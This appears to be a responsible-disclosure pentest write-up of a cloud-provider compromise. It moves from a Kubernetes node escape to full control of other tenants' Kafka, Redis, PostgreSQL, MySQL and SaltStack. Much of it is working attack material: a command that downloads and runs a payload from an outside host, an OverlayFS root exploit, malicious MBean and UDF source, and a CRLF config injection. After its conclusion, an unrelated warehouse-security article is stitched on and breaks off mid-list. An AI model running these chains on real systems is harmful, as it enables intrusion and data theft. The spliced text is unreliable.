This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Kubelet configuration and API server address

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

Konnectivity service account token

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

Interaction diagram between control plane and data plane via Konnectivity

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

As a result, we successfully received a callback from the control plane.

Konnectivity-server context and node network interfaces

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Confirmation of command execution with root privileges

Gaining root privileges opened up several interesting attack vectors:

1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

Private SSH key in a VictoriaLogs record

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Process privileges on the host and available actions in Kubernetes

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

Discovered Java RMI service on port 9999

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

• JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
• JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
• ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

1. Create a standard MLet loader inside the Kafka JVM.
2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.

Kafka process context and node network interfaces

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

AUTH command in an intercepted Redis request

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

Diagnostic information of the Valkey instance

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

Patroni configuration in etcd

{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

PostgreSQL process context and node network interfaces

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

Database and S3 access parameters in a backup file

This storage holds backups not only of the current instance but also of all other databases in the cloud.

List of backup storage locations in S3

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

Fragment of the Salt Master file list

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

Database error during pillar processing

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

Fragment of the table list in the cloudsmth schema

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

Records with Salt Master authentication tokens

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

Valkey process context and Salt grains parameters

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

Result of executing id via MySQL UDF

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

Introduction

Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.

Now let’s multiply one late unicorn by several hundred thousand orders.

Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.

It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.

This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.

Tracing the unicorn

A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.

Stages of order fulfillment

So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.

1. Unloading
   First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
2. Receiving
   At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
3. Putaway
   Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
4. Storage
